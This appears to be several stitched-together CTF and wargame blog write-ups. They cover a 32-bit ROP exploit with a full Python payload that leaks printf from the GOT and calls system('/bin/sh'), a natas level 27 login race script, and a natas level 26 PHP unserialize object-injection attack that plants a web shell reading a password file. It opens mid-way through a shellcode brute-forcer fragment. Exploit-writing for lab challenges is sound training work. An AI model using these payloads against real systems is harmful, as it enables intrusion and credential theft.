  logging.debug("angle = {}".format(angle))

  child.expect("Congratulations.*")
  #hit = child.after
  #logging.debug("After is: " + hit)
  hit = child.after[36:37] # find out the nibble we actually hit
  logging.debug("hit is: " + hit)

  if (hit != needed):
   child.close()
   break # means that our power/angle sux

  child.sendline()
  code += hit
  print "current shellcode is: {}".format(code)

# time 2 segfaulAt
"""
child.expect("Power ")
child.sendline()
child.expect("Angle ")
child.sendline()
"""
  child.interact()

Lately I’ve been trying to sharpen my binary exploitation skills and had the perfect opportunity to do so when a friend shared with me a binary from hou.sec.con 2015’s CTF.  This is a 32 bit elf binary which basically echoes back whatever is passed to argv[1] via printf() and then copies argv[1] to a fixed size buffer in an unsafe fashion:

disas main

Because there is no bounds checking, we can overwrite the return address of strcpy() on the stack by passing a long string.  To find out exactly how many bytes of junk are required before overwriting the return address we can use a pattern creation tool (http://projects.jason-rush.com/buffer-overflow-eip-offset-string-generator) and pass its output as argv[1] to our the vuln binary:

initial fuzzpattern tool

This tells us that 112 bytes of junk are required before we start overwriting the return address of strcpy() AKA controlling the EIP register.  Were it not for the ASLR and NX protections we’d be doing an 80s style put NOPs + shellcode on the stack and ret2nops.  However, ASLR ensures that we cannot predict where on the stack the NOPs would end up, and NX prevents us from executing shellcode on the stack anyway.  We can use ROP + a function pointer leak to bypass these protections, and demonstrating these techniques is the main goal of this post.

Our first step will be to leak the true address of the printf() via its GOT entry.  We can do this by returning to strcpy() again with the arguments being the address of .bss for the dest, and printf()’s GOT pointer as the source.  This will write the true address of printf() to .bss.  We could have used other segments of memory besides .bss, but it suits our needs because it is read/write, and is not randomized by ASLR.  We can use objdump to discover the address of .bss like so:

find bss

Next we need to find the GOT pointer for printf():

readelf printf

Finally, let’s get the PLT address of strcpy() so that we can actually call it:

plt strcpy

Awesome, now that we know all these memory addresses let’s start building the exploit slowly:

exploit call strcpy

Our exploit will be a simple python script which creates a specially crafted string to totally fux this program.  After initializing our variables to the values we just gathered above, we add the address of pltStrcpy to our payload using python’s struct.pack to put the address in little endian format.  Next we add 4 B’s, let’s talk about this in a minute.  After that we add the arguments to strcpy() which again are .bss as the dest, and GOT printf() as the source.  So let’s run this in gdb-peda, and see what happens:

first run debuggin

First things first, we run the program in the debugger like this “`python callEaxWrite.py`”.  The reason we need quotes around our backticks is because at least one of our memory addresses (.bss) contains an “a0” byte which is the ascii code for a newline, and will break our string without them.  We run “p printf” which is a gdb command that will print the true address of printf in the libc library.  Next we run “x/wx 0x804a024” which means “examine 4 bytes at the mem address 0x804a024”.  We see that the output of these commands match!  This is great, it means we have successfully written the true address of printf to bss.  Also, the program crashed with EIP == 0x42424242 which is the ascii code for “BBBB”.  What happened here?  When we called strcpy we also needed to have it’s return address and two arguments on the stack.  The return address we provided it was BBBB so when it finished executing that’s where EIP jumped to.  Its two arguments and “our next instruction” are sitting at the top of the stack.  If we return to a “pop pop ret” ROP gadget instead of BBBB, we can clear the arguments off the stack and return to the top of the stack where we will have more instructions.

We can use an awesome tool called ROPgadget to find a pop pop ret instruction within our binary whose location is not randomized or marked as no execute.  We’ll replace BBBB with the address of this gadget in our exploit:

pop pop ret

Now that we have the true address of printf stored at bss we can add the offset between printf and system() in libc to bss to be able to reference and finally call system() for pure pwnage.  Let’s get the offset:

find distance

So our distance between the two functions is 0xffff1770.  The next task is simple but not ez.  We have to find a gadget that will let us add 0xffff1770 to the true address of printf.  I won’t try to detail my adventure in locating the perfect gadget, as it involved much trial and error here’s the one I ended up using:

addEcx

This gadget is not the most convenient in the world, as it does a lot more than what we need, fortunately we can mitigate the garbage.  The instruction that is useful to us here is “add dword ptr [ecx], edi”.  This instruction will add the value stored in edi to the value pointed to by the pointer stored in ecx (the de-referenced value of ecx).  This is perfect for us, we’ll get “distance” (0xffff1770) into edi, and bss (0x0804a024) into ecx.  However, in order to control these registers we need more gadgetz.

We can use the same “pop edi ; pop ebp ; ret” gadget from earlier to pop the distance off the stack into edi.  As well, we’ll put a pointer-to-the-value-“1” + 0x21 on the stack following the distance so that it gets popped into ebp, reason being that eax will get divided by ebp – 0x21 as a consequence of the gadget we are using, and this will ensure that we don’t crash the program by dividing by 0 or some other problem value.  We can find the value “1” in program memory again with ROPgadget:

valOne

Let’s see what the exploit looks like at this point:

 

 

exploit 2

And after running it in the debugger:

debugginnn 2

So, the value of edi is 0xffff1770, ebp-0x21 is 0x08048045 which points to 0x20000001 (this was supposed to just be a 1, for whatever reason it ends up working anyway, maybe someone can enlighten me), now all that’s left is ecx.  Also, ecx is 0x14 bytes away from being what we need it to be which is 0x0804a024.  Fortunately there is another gadget that can help us get the job done:

incEcx

If we run that gadget 0x14 (20) times all our registers will be primed for that add gadget that we found earlier.  So let’s continue with the exploit and run it in gdb again:

debuggin 3

Bss now contains the true address of system()!!!  Also, the program crashed with eip == 0x35624134, let’s hit up our tool again and find out how many bytes of junk we actually need:

pattern tool 2

So we need 44 bytes of junk following the execution of this rop gadget.  This is because gadget adds 0x1c to esp, and then pops 4 registers which increases it by another 16 bytes; 0x1c + 16  = 44.  So the hard part is over.  The next thing to do is write the string “/bin/sh” somewhere (bss + 0x10 in this case) so that we can use it as our argument to system().  Let’s use ROPgadget to find the location of the characters that are needed:

binSh

To actually write the string we’ll have to call strcpy() once for each character, plus the terminating null byte, I was able to find a null at 0x0804a04a, and I’m sure there are many other throughout the binary.  Here’s what that process looks like programmatically, I made a simple function and for loop to save on tedium:

exploit 4

and the debugger shows that the string was successfully written…almost done!

debuggin 4

The last two things we need to do are overwrite printf’s GOT entry with the address of system, and then call printf with one argument, our pointer to “/bin/sh”:

exploit 5

So did it work???????

We got a shell!!!  ltrace shows all the library calls that the program makes.  You can download the vulnerable binary here.  If you decide to mess around on your own machine just make sure the libc md5 hash matches, otherwise you will have to re-calculate the offset between printf and system as shown above.

import struct

def writeByte(dest, src):
    payload  = struct.pack('<I', pltStrcpy) #call strcpy
    payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
    payload += struct.pack('<I', dest)      #what addr to write to
    payload += struct.pack('<I', src)       #ptr to char we are writing
    return payload

payload   = ""            #initialize our payload
gotPrintf = 0x0804a00c #readelf -r codecheck
pltPrintf = 0x08048310 #we use plt addresses to actually make library calls
pltStrcpy = 0x08048320 #objdump -d codecheck | grep strcpy
bss          = 0x0804a024 #real base bss
distance  = 0xffff1770 #offset between printf and system in libc
valOne      = 0x08048045 #pointer to value of 1
binSh     = 0x0804a034 #bss + 0x10 #where we will write the string "/bin/sh" to, and later use as argument to system
binShArray= [0x08048154, 0x08048157, 0x08048156, 0x0804815e, 0x08048154, 0x08048162, 0x080480d8, 0x0804a04a] #"/bin/sh"
popPopRet = 0x080484ee # pop edi ; pop ebp ; ret
addEcx      = 0x080484e4 # add dword ptr [ecx], edi ; div dword ptr [ebp - 0x21] ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
incEcx      = 0x080485f0 # inc ecx ; ret

payload += "A"*112 #fill buffer up w/ junk

#write addr of printf to bss
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet)
payload += struct.pack('<I', bss)        #first arg to strcpy (dest)
payload += struct.pack('<I', gotPrintf)        #second arg to strcpy, get true source of printf

#get our ducks in a row 4 2 pwn
payload += struct.pack('<I', popPopRet) # pop edi ; pop ebp ; ret
payload += struct.pack('<I', distance) # need distance to be there for pop edi
payload += struct.pack('<I', valOne + 0x21) #get addr of valOne onto the stock for the pop ebp
payload += struct.pack('<I', incEcx)*20 #address of (bss - 20) will b in ecx
payload += struct.pack('<I', addEcx) #add edi (distance) to [ecx] which contains true addr of printf
#payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab" #added 50 bytes from the pattern tool to help us deal with the stacker fuckery caused by this gadget
payload += "A"*44 #tool told us 44 bytes, we did the math also and agree 

#write "/bin/sh" to bss + 0x10
for i in range(0, len(binShArray)):
    payload += writeByte(binSh + i, binShArray[i])

#overwrite gotPrintf w/ system 
payload += struct.pack('<I', pltStrcpy) #call strcpy
payload += struct.pack('<I', popPopRet) #popPopRet, clean up stack so we can continue to ROP
payload += struct.pack('<I', gotPrintf)        #dest, overwriting printf pointer
payload += struct.pack('<I', bss)        #should contain address of system

#call system, since we overwrote printf's got entry
payload += struct.pack('<I', pltPrintf) 
payload += "BBBB"
payload += struct.pack('<I', binSh)

print payload

 

All the sql code in this level is there to throw us off.  If you pull off a SQL injection on this level let me know, because AFAIK it is not possible.  The trick to beating this level is in the comments at the top of the page.

natas level 27 src

They’re telling us that the database is reset every 5 minutes.  I wonder what would happen if we repeatedly tried to log in with blank creds, with the goal of attempting the login at the same time it’s cleared.  We can use the following script to find out:

for (i = 0; i < 10000; i++) {
    query = "username=natas28&password=";
    xhr = new XMLHttpRequest();
    xhr.open("POST", "http://natas27.natas.labs.overthewire.org/index.php", false);
    xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xhr.send(query);
    console.log(i);
        if (xhr.response.indexOf("Here") != -1) {
        break;
    }
}
console.log(xhr.response);

natas 27 win

Today we’ll be exploiting the unserialize() function in PHP.  The major lesson here is to NEVER unserialize() user input, and I’ll show you why. PHP.net describes the serialize() function as follows:

“Generates a storable representation of a value.  This is useful for storing or passing PHP values around without losing their type and structure. To make the serialized string into a PHP value again, use unserialize().”  They further state that, “When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using unserialize() the __wakeup() [or __construct()] member function is called”.

According to OWASP:

“In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct [or __construct) that can be used to carry out malicious attacks, or to start a ‘POP chain’.
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.”

Well we’ve got a class called Logger that implements __construct() and __destruct(), and it’s what starts off the code, so it is ahead of the unserialize() function, see here:

natas level 26 src 1

Later we can see them unserialize() input via $_COOKIE[“drawing”]:

natas level 26 src 2

What we can do here is pass unserialize() a malicious Logger object that, for example, creates a “log file” call win.php and writes the following message in the “loge file:

<?php system(‘cat /etc/natas_webpass/natas27’);?>

To create the serialized version of the Logger object I edited the source code as follows:

natas level 26 evil 1

As you can see, the $logFile field is set to “img/win.php”, and $exitMsg is set to our malicious php code.  After the class definition I echoed out a serialized and then base64 encoded version of an instance of the Logger object.  It must be base64 encoded because it will later be base64 decoded before being unserialized.  The output looks like this:

natas level 26 evil 2

That is what we will set the “drawing” field of our cookie to.  When this is unserialized by the script, it will create an instance of Logger with the values we set above.  This is because, as previously stated, when unserialize() is used it calls the __construct() function of that object.  This should result in the creation of win.php in the img/ directory of their webserver, which will spit out our password.  Let’s see:

natas level 26 win 1

We see some bullshit about “cannot use type Logger as array”, but the important thing is, was win.php created?

natas level 26 win 2

w0000000000000000t!!!!!!!!!!!!111111111111